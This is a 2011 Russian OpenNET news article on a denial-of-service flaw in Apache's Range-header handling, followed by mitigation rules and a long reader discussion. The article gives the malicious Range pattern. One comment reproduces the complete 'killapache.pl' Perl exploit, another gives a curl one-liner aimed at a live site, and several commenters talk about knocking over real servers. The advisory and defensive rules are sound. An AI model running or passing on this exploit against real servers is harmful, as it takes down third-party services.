The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (дополнено)

24.08.2011 20:46

В http-сервере Apache найдена опасная уязвимость, позволяющая вызвать отказ в обслуживании через исчерпание всей доступной памяти. Опасность уязвимости усугубляется тем, что для её осуществления уже доступен готовый эксплоит, позволяющий совершить атаку с одной машины с генерацией минимального трафика. При отсутствии отдельных лимитов на размер выделяемой Apache памяти, после выполнения эксплоита наблюдается полное исчерпание памяти с уходом в бесконечный своппинг без возможности зайти в консоль.

Проблема вызвана ошибкой в реализации поддержки загрузки части файла по указанному диапазону (например, после обрыва соединения можно запросить загрузку начиная с определенной позиции). Ошибка связана с тем, что при обработке запроса, содержащего большое число диапазонов (например, "Range:bytes=0-,5-1,5-2,5-3,...,5-1000") в сочетании с использованием gzip-сжатия отдаваемого контента, расходуется слишком много памяти. Например, если в заголовке Range передана тысяча диапазонов, то Apache пытается отдельно сжать каждый диапазон. Так как каждая операция сжатия требует достаточно много памяти (даже для сжатия одного байта выделяется буфер для сжатия блока), в сумме легко исчерпать всю доступную память. Для осуществления удачной атаки достаточно отправить около 50 подобных запросов с составным Range на сервер.

Проблема присутствует в Apache 2.2.x, включая последний релиз 2.2.19. Исправление пока доступно в виде патча. Также имеется несколько способов временной защиты, не требующих пересборки Apache. Например, можно принудительно очищать заголовок Range при помощи mod_header ("RequestHeader unset Range" и "RequestHeader unset Request-Range") или блокировать длинные последовательности Range через mod_rewrite:



   # Вариант 1:
   RewriteEngine On
   RewriteCond %{HTTP:Range} bytes=0-[0-9]+, [NC,OR]
   RewriteCond %{HTTP:Range} bytes=([0-9-],){4,} [NC,OR]
   RewriteCond %{HTTP:Range} bytes=[0-9,-]+,0-(,|$) [NC]
   RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]

   # Вариант 2:
   RewriteEngine On
   RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
   RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
   RewriteRule .* - [F]

   # Вариант 3:
   RewriteEngine On
   RewriteCond %{HTTP:Range} bytes=0-.* [NC]
   RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]


Интересно, что о теоретической возможности совершения подобной атаки Михаил Залевски (Michal Zalewski), известный польский эксперт в области компьютерной безопасности в настоящее время работающий в Google, сообщал еще 4 года назад, но проблема по каким-то причинам не была воспринята всерьез и исправления не были внесены.

Дополнение 1: Разработчики Apache опубликовали официальный отчет о наличии уязвимости, в котором указали на то, что в сети зарегистрирована волна DoS-атак, базирующихся на использовании рассмотренной уязвимости. Обновление для веток Apache 2.0.x 2.2.x с исправлением уязвимости планируется выпустить в течение 48 часов. Ветка Apache 1.3.x также подвержена проблеме, но исправление для неё выпущено не будет, так как поддержка данной ветки прекращена. Администраторам рекомендуется срочно применить обходные пути защиты, среди которых указаны:

  • Использование SetEnvIf для Apache 2.0 и 2.2:
    
      # Удаляем заголовок Range, если в нем более 5 диапазонов
      SetEnvIf Range (?:,.*?){5,5} bad-range=1
      RequestHeader unset Range env=bad-range
      RequestHeader unset Request-Range
      # помещаем в лог попытки атаки
      CustomLog logs/range-CVE-2011-3192.log common env=bad-range
    
  • Использование mod_rewrite для Apache 1.3 и 2.x:
    
       RewriteEngine on
       RewriteCond %{HTTP:range} !(bytes=[^,]+(,[^,]+){0,4}$|^$) 
       RewriteRule .* - [F]
    
       RequestHeader unset Request-Range
    
  • Ограничение максимального размера поля через директиву "LimitRequestFieldSize 200", где 200 - размер параметров в байтах. Внимание, данный параметр действует для всех полей, что может привести к проблемам, например, при использование больших cookie.
  • Использование mod_headers для полного запрещения заголовка Range - "RequestHeader unset Range". Данный метод может привести к неработоспособности некоторых приложений, таких как программы для загрузки файлов, PDF-просмотрщики и проигрыватели потокового видео;
  • Использование специального модуля mod_rangecnt (готовые сборки для некоторых редких платформ), контролирующего число диапазонов внутри директивы Range.

Дополнение 2: Уязвимость также может быть эксплуатирована через заголовок 'Request-Range', поэтому ранее приведенные методы защиты неэффективны (следует добавить в конфигурацию "RequestHeader unset Request-Range" для блокирования работы устаревшего заголовка Request-Range, используемого только в Netscape Navigator 2-3 и MSIE 3).

  1. Главная ссылка к новости (http://secunia.com/advisories/...)
Лицензия: CC-BY
Тип: Интересно / Проблемы безопасности
Короткая ссылка: https://opennet.ru/31582-apache
Ключевые слова: apache, security, dos
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (88) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 22:03, 24/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Какая прелесть :3
     
  • 1.2, Сергей (??), 22:15, 24/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    У меня на apache-1.3.42 говорит "Host does not seem vulnerable"
     
     
  • 2.3, Mikk (??), 22:28, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +7 +/
    Да, твой апач безусловно важен, но тут по близости ещё пара десятков миллионов апачей вертятся ;)
     
  • 2.61, Аноним (-), 14:23, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > У меня на apache-1.3.42 говорит "Host does not seem vulnerable"

    Этот особо-раритетный апач и так легко DoSится запуском ab2/siege/http_load/зажатой F5 в браузере, даже на тощем канале. Просто пускаем к нему пару сотен соединений и забираем из них данные с чебурашьей скоростью. Апач дает дуба, форкнув 200 процессов и съев всю память (если сервер мощный, может потребоваться чуть больше соединений). Какая разница, свалить апач кривыми запросами или 200 соединениями? Обе атаки требуют от атакующего ничтожное количество ресурсов по сравнению с тем что выжрет сервер.

     
     
  • 3.116, Michael Shigorin (ok), 10:15, 29/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Какая разница, свалить апач кривыми запросами или 200 соединениями?

    (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?

     
     
  • 4.121, Аноним (-), 17:03, 05/09/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?

    Во-во, костыль подставили - и вроде уже и не инвалид :). Вы б еще кеш на нжинксе настроили и сказали что апач не тормозит :D. Хотя не тормозит - нжинкс. А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.

     
     
  • 5.122, Michael Shigorin (ok), 18:47, 05/09/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.

    Это смотря какой и что за ним дальше болтается... думаю, у меня апач -- не самое вкусное место даже и не для очень юного хаксора.  Хотя модуль неуловимости помогает ещё больше. :)

     
     
  • 6.124, Аноним (-), 19:38, 23/09/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > апач -- не самое вкусное место даже и не для очень юного хаксора.  

    Тем не менее, любителей уронить вывешенный напрямую апач в интернете навалом.

     

  • 1.4, Аноним (-), 22:32, 24/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    nginx наше фсио
     
     
  • 2.5, ALHSLeo (ok), 22:40, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > nginx наше фсио

    Nginx не поможет, если он в роли фронтенда. Проткстировал на куче своих хостов - результат не однозначный, то-есть 1 и таже машина - 1 хост убивается 1000 форков, другой нет, а точнее - если страница использует сжатие гзипом - то заваливает, если не использует - то всё нормально, на остальных машинах поведение такое-же. Добавление строк в хтаксесс помогает, бешеное количество детей у апача не появляется, значит и память с процом не жрёт ( в тестовом скрипте увеличил количество форков до 1000 ). По сути - на момент запуска скрипта апач выедает весь проц, и за ним всю память, что вполне логично приводит к ддос-у.

     
     
  • 3.37, Аноним (-), 04:01, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Nginx не поможет, если он в роли фронтенда.

    Да уж, тут должен доктор помогать. А чем он плох как бэкэнд с fastcgi например?

     
     
  • 4.58, Andrew Kolchoogin (?), 13:14, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных .htaccess в nginx нет и не будет.

    Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI -- не выход, увы.

     
     
  • 5.62, uldus (ok), 14:24, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
    > .htaccess в nginx нет и не будет.

    На самом деле, эмулировать .htaccess в  nginx достаточно легко. Как правило специфика хостинга  не требуют приема изменений из .htaccess в режиме реального времени, а использование .htaccess сводится к редиректам и подключению своих обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в формат nginx и подключать к нему итоговый набор созданных на основе .htaccess правил через include.

     
     
  • 6.64, Аноним (-), 15:00, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Вот это костыли так костыли у меня 5млн дирректорий, где могут работать ht... большой текст свёрнут, показать
     
     
  • 7.74, brzm (?), 17:31, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Если у вас 5 млн. директорий, то хостинг крупный и от ещё одной машинки от вас не убудет, благо оно того стоит. Ну и к тому же можно сделать удобную закладочку в панели хостинга с настройкой этих самых .htaccess по папкам с изменением по запросу.
     
     
  • 8.81, Аноним (-), 20:20, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Да нет, такое можно наблюдать даже у одного достаточно крупного сайта, на одной ... текст свёрнут, показать
     
     
  • 9.104, Аноним (-), 19:47, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Действительно, на htaccess много лишнего IO делается Поэтому маздай ... текст свёрнут, показать
     
  • 7.77, uldus (ok), 19:37, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
    > .htaccess, мне ставить отдельную машинку под ваше решение?

    Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess во всех директориях начиная с текущей и до корня. Вас никто не заставляет каждый раз сканировать все пользовательские директории, достаточно, например, отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или использовать специфичные для разных ОС механизмы нотификации изменения/создания файла с заданным именем.

     
     
  • 8.80, Аноним (-), 20:16, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Апач позволяет выбрать то, что нужно вам, а не пользоваться тем, что есть и не и... большой текст свёрнут, показать
     
     
  • 9.98, Аноним (-), 18:56, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    А вы адресок апача то своего опубликуйте, чтобы окружаюшие могли посмотреть и ОЦ... текст свёрнут, показать
     
  • 7.102, Аноним (-), 19:08, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
    > .htaccess,

    Вот это я понимаю, костыли так костыли! При том что 5 млн дир и так не подарок, в каждой дергаться на поиск htaccess - вот это и правда мегакостыль. Столько ненужных операций при запросах что просто жесть. Кстати можно вообще сервак выключить, чтоб уж наверняка не осилил запросы обслуживать.


     
  • 5.63, Аноним (-), 14:30, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
    > .htaccess в nginx нет и не будет.

    Куда и дорога, пожалуй. Довольно дурное изобретение человечества.

    > Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI --
    > не выход, увы.

    А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.

     
     
  • 6.79, klalafuda (?), 20:16, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.

    Шаред хостинг.. серьезные конторы.. Где подвох?

     
     
  • 7.99, Аноним (-), 18:59, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Шаред хостинг.. серьезные конторы.. Где подвох?

    В идиотах-менеджерах, вероятно.

     
  • 2.6, TiGR (?), 22:46, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать или нет?
     
     
  • 3.7, ALHSLeo (ok), 22:48, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать
    > или нет?

    Получится, у меня таким образом и построено - нгинкс фронтенд+статика, за ним апачи, каждый в своей клетке. Так вот на статике всё прекрасно, а как только в дело вступает апач с динамикой+сжатие гзипом - то всё, завал апача на бакендах.

     
     
  • 4.10, zm_michael (?), 23:08, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    а зачем апачи отдают сжатую динамику ? жмите в nginx.
     
     
  • 5.12, ALHSLeo (ok), 23:18, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > а зачем апачи отдают сжатую динамику ? жмите в nginx.

    Не всегда получается отдавать (обрабатывать) через нгинкс, некоторая часть хостов лоадбалансится нгинксом, а обрабатывают всё апачи, то-же самое и с самим нгинксом, он и так всё что может жмёт, и передаёт уже сжатое, но как написал ранее - не всегда такая схема работоспособна.

     
     
  • 6.105, Аноним (-), 19:48, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Не всегда получается отдавать (обрабатывать) через нгинкс,

    Тем хуже для вас //Капитан.

     

  • 1.9, umbr (ok), 23:05, 24/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    >при обработке запроса, содержащего большое число диапазонов...расходуется слишком много памяти

    Кто-нибудь знает, почему так?

     
     
  • 2.11, Аноним (-), 23:11, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    header which requests as many different bytes as possible from a file served by ... большой текст свёрнут, показать
     
     
  • 3.13, umbr (ok), 23:27, 24/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?
     
     
  • 4.15, Аноним (-), 00:14, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?

    Апачевцы решили эту проблему блестяще - ограничили количество чанков десятью.

     
     
  • 5.16, umbr (ok), 00:26, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +6 +/
    "Главное — завалить, а там запинаем." (с)
    :)
     
  • 2.26, Аноним (-), 03:21, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Это было понятно еще когда они только начали делать бэкэнды с форками на каждого юзера. Поэтому то и рулят нжинкс или лайти + fastcgi. Им все это вообще пофиг, и запросом 100500 копий статики не завалишь. А нжинкс и динамику может весьма прикольно кешировать.
     

  • 1.34, Евгений (??), 03:57, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    У меня  Apache 2.2.17 с Линусовским ядром 3.0.3, ubuntu 11.04 "сработало"
    #bash -c 'ulimit -v 10000 -m 4048;service apache2 restart'
    И система не грузилась очень (при 200 форках)  и веб сервис работал хотя и с замедленными. На 2.2.14 с ядром 2.16.35.14 пришлось увеличивать -m и -v
     
     
  • 2.45, Аноним (-), 10:16, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    У меня Apache 2.2.3 c Линуксовым ядром 2.6.18, centos, нет даже лимитс:
    [root@801 ~]# limits -a
    -bash: limits: команда не найдена
     
     
  • 3.73, Аноним (-), 17:31, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • –1 +/
    потому что ulimit
     

  • 1.41, Аноним (41), 07:47, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Интересно, когда появится апдейт в репах centos.
     
  • 1.42, HappyAlex (ok), 08:40, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    протестировал у себя на серверах

    везде выдало
    Host does not seem vulnerable

    может просто сайты не использовали gzip хз

    апач 2.2.х

     
     
  • 2.50, stimpack (?), 11:06, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Partial не выдают в заголовках. См эксплойт внутри
     
  • 2.51, Аноним (-), 11:21, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    When using a third party attack tool to verify vulnerability - know that most of the versions in the wild currently check for the presence of mod_deflate; and will (mis)report that your server is not vulnerable if this module is not present. This vulnerability is not dependent on presence or absence of that module.
     

  • 1.47, Bocha (??), 11:04, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    По-моему, DDoS Апача через исчерпание им всей памяти особой подготовки и специальных условий не требует, это скорее фича, чем баг. Я лично привык уже.
     
     
  • 2.68, Аноним (-), 15:43, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > это скорее фича, чем баг.

    А это зависит от того за кого вы болеете - за администратора или за атакующего :). Если второе - да, конечно, это фича позволяющая легко уронить неугодный вам сайт :)))

     

  • 1.48, Ващенаглухо (ok), 11:05, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ограничить лимиты юзера под которым работает апач.
     
  • 1.49, stimpack (?), 11:05, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    в эксплойте ошибка на 74й строке:
    if ($#ARGV > 1) {
    надо:
    if ($#ARGV > 0) {
    а еще правильнее:
    if ( @ARGV > 1 ) {

    плюс сохранен под виндой, конец строки виндовый (^M). буеееее...

     
     
  • 2.60, Аноним (-), 13:51, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >плюс сохранен под виндой, конец строки виндовый (^M). буеееее...

    Да там даже шебанга нет, и так все понятно.

     

  • 1.52, Аноним (52), 11:46, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    попробуйте на статике использовать
    curl -I -H "Range: bytes=0-1,0-2" -s mysite.com/robots.txt

    HTTP/1.1 206 Partial Content
    Server: nginx/0.7.67

    только вот если проверять статику то выходит ошибка:
    perl killapache.pl mysite.com/robots.txt 50
    Can't use an undefined value as a symbol reference at killapache.pl line 57.

     
  • 1.53, Аноним (-), 12:09, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Кто-нибудь воспроизвел?
    Я пытался и на статике и на динамике и на голом апаче и на апаче за энжинксом - не получается, да скрипт генерит такие запросы (Range обрезал):

    HEAD / HTTP/1.1
    Host: mysite.ru
    Range:bytes=0-,5-0,...5-129...
    Accept-Encoding: gzip
    Connection: close

    Запросы поступают, это видно через server-status, но память не исчерпывается, скрипт выводит такое:

    # perl killapache_pl.bin mysite.ru 50
    host seems vuln
    ATTACKING mysite.ru [using 50 forks]
    :pPpPpppPpPPppPpppPp
    ATTACKING mysite.ru [using 50 forks]
    :pPpPpppPpPPppPpppPp
    ATTACKING mysite.ru [using 50 forks]
    ...

    апачи под фрей крутятся:
    # httpd -v
    Server version: Apache/2.2.17 (FreeBSD)
    Server built:   Mar 13 2011 07:43:51

     
     
  • 2.54, stimpack (?), 12:16, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    vrt.kz - пример.
     
     
  • 3.55, Аноним (-), 12:26, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Его похоже положили серьезно Как вообще должен сервак отвечать должен ли зад... большой текст свёрнут, показать
     
     
  • 4.56, stimpack (?), 12:46, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    думаю, так: быстро-быстро-быстро, опа, память кончилась.
     
  • 4.69, Аноним (-), 16:00, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.
     
     
  • 5.72, Аноним (-), 17:14, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.

    Во сколько потоков не запускаю - не вижу этого, хоть убейте.

     

  • 1.57, Аноним (52), 12:52, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Там ошибка не только в 74 строке, тут скрипт справлен
    http://paste.org.ru/?v4he2b
    Но всеравно вылетает ошибка
    http://paste.org.ru/?emh2p8
     
  • 1.59, igorya (?), 13:21, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    если у кого остался апач версии 1.3, то пробелы нужно прописывать вот так:
    RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)([[:space:]]*,[[:space:]]*[0-9]*-[0-9]*)+

    иначе не работает, у меня, по крайней мере именно так.

     
  • 1.70, sergey (??), 16:04, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Для nginx-фронтенда можно сделать так:
    В глобальную секцию(http или server) пишем:
        set $range $http_range;
        if ($http_range ~ "0-(,|$)"){
                set $range "";
        }

        if ($http_range ~ "(.*,.*){4,}"){
           set $range "";
        }
    И в каждую секцию location, которая проксирует на apache добавляем:

    proxy_set_header "Range" $range;

     
  • 1.75, CrOrc (?), 18:08, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Печально: даже www.apache.org реагирует на эту атаку.
     
     
  • 2.100, Аноним (-), 19:03, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Печально: даже www.apache.org реагирует на эту атаку.

    That's what should be called EPIC fail!

     

  • 1.76, Аноним (52), 18:24, 25/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Скрипт не дает выбрать конкретный урл на файл.
    Кто в теме подскажите.
     
     
  • 2.78, Аноним (-), 20:09, 25/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Скрипт не дает выбрать конкретный урл на файл.
    > Кто в теме подскажите.

    чего?

     

  • 1.83, DiXaS (?), 00:57, 26/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Выше изложенные варианты через mod_rewrite убоги.
    Вот вариант блокирующие более 4 диапазонов, без возможности "обхода":

    ~~~~~~~~~~~~~~
    RewriteCond %{HTTP:Range} (\s*)(bytes|\w+?)(\s*)=(\s*)((\d*)(\s*)-(\s*)(\d*)(\s*)(,*)(\s*)){4,} [NC]
    RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]
    ~~~~~~~~~~~~~~

     
     
  • 2.84, Аноним (-), 03:04, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Чем второй вариант не угодил?
     
     
  • 3.87, DiXaS (?), 11:50, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Чем второй вариант не угодил?

    Тем что укажи пробел, или убери символ и все - защита не работает.

     
     
  • 4.91, Аноним (-), 13:59, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >Тем что укажи пробел, или убери символ и все - защита не работает.

    Второй из представленных в новости вариантов защищает от таких ситуаций не хуже вашего и при этом проще.

     
     
  • 5.97, DiXaS (?), 15:56, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >>Тем что укажи пробел, или убери символ и все - защита не работает.
    > Второй из представленных в новости вариантов защищает от таких ситуаций не хуже
    > вашего и при этом проще.

    Вчера по нехватки времени вставлял шаблоны региксов и уже не помню какой и где чем болеет, пришлось писать свой чтобы не было обхода из-за пробелов.
    Так же мой вариант предоставляет указать число допустимых диапозонов (то есть не убивая сам факт докачки), а так же по протоколу слово "bytes" не единственное(которые практически не используются, но допускаются).

    Я не претендую на совершенство шаблона регикса, просто меня взбесила такая не серьезно заглушки, которая обходиться вставив табуляцию, пробел...

     

  • 1.85, Анон (?), 08:30, 26/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вот что-то нахерачил на баше:

    seq 2 100 | xargs -I _ sh -c "echo -n \",\$((_-1))-_\"" | xargs -t -I _ sh -c "curl -s -I -H \"Range: bytes=0-1_\" -H \"Accept-Encoding: gzip\" -H \"Connection: close\" http://www.opennet.ru/" | fgrep Partial

    Но из тех, кто выдавал партиал, что-то еще ни один не упал, если грузить не только хедеры. Я неправильно понял задумку или просто не нашел ни одного уязвимого сайта?

     
  • 1.86, kulibin (?), 11:06, 26/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/

    #!/usr/bin/perl
    #
    use IO::Socket;
    use Parallel::ForkManager;

    sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
    }

    sub killapache {
    print "ATTACKING $ARGV[0] [using $numforks forks]\n";

    $pm = new Parallel::ForkManager($numforks);

    $|=1;
    srand(time());
    $p = "";
    for ($k=0;$k<1300;$k++) {$p .= ",5-$k";}

    for ($k=0;$k<$numforks;$k++) {
    my $pid = $pm->start and next;
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto  => 'tcp');

    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    if ( defined($sock) ) { print $sock $p; }

    while(<$sock>) {
    }

    $pm->finish;
    }

    $pm->wait_all_children;
    print "YES!!!\n";
    }

    if (@ARGV < 0) {usage; exit;}

    if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;}

    while(1) {killapache();}

     
  • 1.89, Xaionaro (ok), 13:28, 26/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где эта атака сработала бы.
     
     
  • 2.101, Аноним (-), 19:05, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
    > эта атака сработала бы.

    Учтя что оно работает даже на сайте опача :))) здесь что-то не так. Может быть, у вас в компании не используется апач? :)

     
     
  • 3.111, Xaionaro (ok), 19:13, 27/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
    >> эта атака сработала бы.
    > Учтя что оно работает даже на сайте опача :))) здесь что-то не
    > так. Может быть, у вас в компании не используется апач? :)

    Нет, у нас почти везде есть какой-то front-end, слишком большие нагрузки.


     

  • 1.92, fossil (?), 14:13, 26/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Ветка Apache 1.3.x также подвержена проблеме, но исправление для неё выпущено не будет, так как поддержка данной ветки прекращена.

    Врут? Не вижу никаких проблем с apache 1.3.x vs apache2 с выключенным gzip.

    Тестировал на одном файле и одном железе, заголовки ответа отдают одинаковые.

    Вот только apache2 жрет 82MB RSS на запрос и отдает 10 запросов в секунду,
    а в apache1 потребление памяти не увеличивается и отдается ~500 запросов
    в секунду.

    4674  1.4  3.9  99444 82080 ?        S    13:58   0:00 apache2
    30401  0.0  0.2   7864  5248 ?        S    13:57   0:00 httpd

     
     
  • 2.93, Xaionaro (ok), 14:20, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Да, я у себя тоже нашёл сервак с apache 1.3.41 (из портов FreeBSD), проверил, не работает атака. ОЗУ там гиг всего

    Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.

    Остальные сервера закрыты nginx-ом или lighttpd.

     
     
  • 3.95, fossil (?), 14:26, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.

    Вероятно плохо проверял, надо на статике проверять.
    2.2.16 из репозитория Debian -подвержен.

     
     
  • 4.96, Xaionaro (ok), 14:42, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.
    > Вероятно плохо проверял, надо на статике проверять.
    > 2.2.16 из репозитория Debian -подвержен.

    Ну, мне лень разбираться почему не сработало. Но насколько я помню, там gzip в apache отключен, т.е. да, эксперимент некорректен, извиняюсь.

     
     
  • 5.103, Аноним (-), 19:10, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Ну, мне лень разбираться почему не сработало.

    И на этом основании делаются выводы о том что атака не работает? Весьма блондинистый подход к вопросу.

     
     
  • 6.106, Xaionaro (ok), 20:58, 26/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >> Ну, мне лень разбираться почему не сработало.
    > И на этом основании делаются выводы о том что атака не работает?
    > Весьма блондинистый подход к вопросу.

    Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что скорее всего не так.

     
     
  • 7.107, Вася Пупкин (?), 03:34, 27/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >>> Ну, мне лень разбираться почему не сработало.
    >> И на этом основании делаются выводы о том что атака не работает?
    >> Весьма блондинистый подход к вопросу.
    > Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что
    > скорее всего не так.

    Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)

     
     
